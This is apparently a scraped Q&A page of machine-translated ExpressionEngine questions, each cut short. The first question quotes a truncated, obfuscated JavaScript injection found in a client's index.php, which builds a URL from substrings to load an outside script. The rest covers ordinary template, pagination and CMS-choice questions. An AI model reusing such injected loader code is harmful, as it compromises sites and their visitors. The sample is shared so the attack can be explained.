我上周验证了我的客户网站xHTML Strict 1.0/CSS 2.1标准.今天当我重新检查时,我有一个由奇怪的和以前的未知脚本引起的验证错误.我在ExpressionEngine CMS的index.php文件中找到了这个.这是我怀疑的黑客攻击吗?我忍不住注意到脚本中编码的俄罗斯域名......
这个javascript在做什么?我需要向客户解释具体的危险.
this.v=27047;
this.v+=187;
ug=["n"];
OV=29534;
OV--;
var y;
var C="C";
var T={};
r=function(){
b=36068;
b-=144;
M=[];
function f(V,w,U){
return V.substr(w,U);
var wH=39640;
}
var L=["o"];
var cj={};
var qK={N:false};
var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2);
var BT="BT";
var fV=RegExp;
var CE={bf:false};
var UW='';
this.Ky=11592;
this.Ky-=237;
var VU=document;
var _n=[];
try {} catch(wP){};
this.JY=29554;
this.JY-=245;
function s(V,w){
l=13628;
l--;
var U="["+w+String("]");
var rk=new fV(U, f("giId",0,1));
this.NS=18321;this.NS+=195;return V.replace(rk, UW);
try {} catch(k){};
};
this.jM="";
var CT={};
var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z');
try {var …Run Code Online (Sandbox Code Playgroud) 我对编码非常陌生(仅使用大学的Web开发101,又名'OMG CSS u guise'),我才开始意识到仅仅知道HTML/CSS并不够好.我已经决定最好让我从一个CMS中学到地狱,因为我并不热衷于学习一门完整的编程语言.主要是我只是希望能够创建即时加载的网站(想想Sproutcore主页)恰好使用某种模板系统,以便随着时间的推移更容易管理.
我已经研究过WordPress了,我知道它是一个超级流行的平台,但是似乎大多数运行WordPress的网站加载速度都不快.我已经阅读了一下,看起来很多编码员认为WP是一个"沉重"的平台.此外,我刚刚在wordpress.org上查看了源代码,发现他们甚至没有在那里运行WordPress!我的意思是来吧!
我也研究过ExpressionEngine,我对事情的处理方式印象深刻.似乎在学习曲线之后它应该易于使用且具有高度可扩展性,但每个商业站点许可证价格为300美元+附加组件的成本,我想更加确信它的价值.我知道AListApart,JasonSantaMaria.com,change.gov,iLounge以及更多高质量,高流量的网站都运行在ExpressionEngine上,但我并不完全相信它的价格是值得的,因为WP可以肯定地完成这项工作. 90%的病例.
我真的很感激你的意见.
也许我应该说F这一切,并用直接的HTML/CSS创建我的静态页面,然后根据Sproutcore使用像Tumblr或WordPress这样的博客平台严格用于博客帖子?
很想听听你的意见.
我有一个简单的图像列表,通过CMS(ExpressionEngine)控制.像这样:
<div class="wrapper">
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
</div>
Run Code Online (Sandbox Code Playgroud)
我想要做的就是每5个图像,用一类"幻灯片"将它们包装在一个div中.看起来像这样:
<div class="wrapper">
<div class="slide">
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
</div>
<div class="slide">
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
</div>
</div>
Run Code Online (Sandbox Code Playgroud)
我不是手动编码""的原因是因为我使用的jQuery内容滑块需要将每5个图像包装在幻灯片div中.
我不确定ExpressionEngine中的代码是如何做到这一点的,但我认为使用Javascript用div包装每5个图像可能更容易.只需让ExpressionEngine一次输出不同的图像. …
我做了一些搜索,但我似乎无法找到有关在另一个中嵌入频道条目标签对的任何信息.
当我在模板中尝试以下代码时,它会破坏页面,我看到开头{reverse_related_entries sort="desc"}显示为纯文本:
{exp:channel:entries channel="pages"}
{reverse_related_entries sort="desc"}
{if show_testimonial}
{exp:channel:entries channel="testimonials" orderby="random" limit="1"}
<blockquote>
{testimony}
<cite>
<span class="cite_name">{cite_name}</span><br />
<span class="cite_org">{cite_org}</span><br />
<span class="cite_title">{cite_title}</span>
</cite>
</blockquote>
{/exp:channel:entries}
{/if}
{/reverse_related_entries}
{/exp:channel:entries}
Run Code Online (Sandbox Code Playgroud)
ExpressionEngine中有一种方法可以在其自身内嵌一个通道条目标记对吗?
我今天发现,如果您访问的EE站点在文档头中的css链接路径中使用{site_url}标记,则如果您键入https而不是http,则该站点无法加载CSS文件.
我已经通过使用htaccess文件来强制转到http,但我只是想知道EE中是否有一个设置可以更改以使两者都工作?
这只发生在Chrome和IE上,我猜你的浏览器设置取决于安全性.
是否可以通过服务器时间在EE中触发条件?
{if servertime == 'midnight to 13:00'}
do this
{if:else}
do something else
{/if}
Run Code Online (Sandbox Code Playgroud)
谢谢
假设我有一个电子商务网站,我希望通过众多模板展示产品网格.使用DRY原则,您将如何重用此代码并可能将参数传递到块中以在不同区域进行某些自定义?{embed}是最佳选择吗?我可以看到类似的东西会产生很多不必要的开销.
使用ExpressionEngine的2.5.3版本,我有一个按类别显示的产品列表,但我需要此列表中的高级产品具有小星图像.除了{title}之外,你如何有条件地称这个小星星?
目前,此代码显示所有产品的明星,但这并不理想.
<ol class="voices-list">
{exp:channel:entries channel="product" orderby="title" sort="asc" category="2&6" dynamic="no"}
<li><a href="{page_url}">{title}<img class="feature_icon medium" src="{root_url}img/audio/smallstar.png" alt="star"></a></li>
{/exp:channel:entries}
</ol>
Run Code Online (Sandbox Code Playgroud)
我需要你的帮助.
我正在尝试在客户端站点上显示零售商列表.已过滤的列表(按州)显示正确,但"全部显示"列表不显示."show all"列表中缺少的项目显示在已过滤的列表中,因此我知道这些条目本身并不存在问题.
我检查了状态 - 一切似乎都是正确的,我检查了动态=没有设置.
我错过了什么?
EE v2.2.2,Build 20110801
在使用{pagination_links}标记时,我似乎在添加/ index /的新闻部分中出现分页问题.
我的新闻页面有新闻/索引的模板路径,帖子模板是新闻/帖子.
我使用结构与新闻/帖子作为附加到新闻/索引页面的列表,添加|编辑帖子.
如果你看看有问题的网站:http://www.wilbyltd.co.uk/news滚动到底部你会看到分页,如果你点击1 | 2 | 3或下一页或最后一页你将获取请求的页面,网址看起来像/ news/P6,但是现在在下一页上如果你再次进入分页并点击其中任何一个,你会发现它已经回到第1页并且网址有/ news/index它似乎是在links/index /之间追加或插入.
我已尝试在频道条目中使用paginate_base ="",但添加一个基础会阻止类别进行分页,类别还会在链接之间添加/ index /吗?
我曾想过攻击核心,但似乎是错误的方法,以防万一它得到更新.
我已经尝试.htaccess删除索引,但是没有用.
RewriteRule ^/news/index/(.+)$ /news/$1 [L]
Run Code Online (Sandbox Code Playgroud)
我已经查看了index.php的配置,该配置已经被取消并且已经使用了.htaccess.
我查看了频道设置.
我试过动态="关闭"|动态="开启"
我理解新闻/索引它是页面查看的正确路径,但如果是这种情况,为什么它不接受分页?
如果有人能够对此有所了解,我将非常感激,这里是包含分页的代码.
{exp:channel:entries channel="posts" limit="6" dynamic="on" paginate="bottom" orderby="entry_date" sort="desc"}
<div class="news-snippet span9">
<a href="{url_title_path=">
<div class="date-published textalign-center">
<span class="day">{entry_date format="%d"}</span><span class="day-suffix">{entry_date format="%S"}</span>
<span class="month">{entry_date format="%F"}</span>
</div>
</a>
<div class="news-snippet-body pull-right">
<div class="news-snippet-top-shadow">
<div class="news-snippet-bottom-shadow">
<a href="{url_title_path=">
<div class="news-snippet-content clearfix">
<div class="title">
<h3>{title}</h3>
</div>
{if news_feature_image}
<div class="clearfix image">
<img src="{news_feature_image}" …Run Code Online (Sandbox Code Playgroud) expressionengine ×10
javascript ×2
.htaccess ×1
codeigniter ×1
dry ×1
jquery ×1
pagination ×1
php ×1
security ×1
wordpress ×1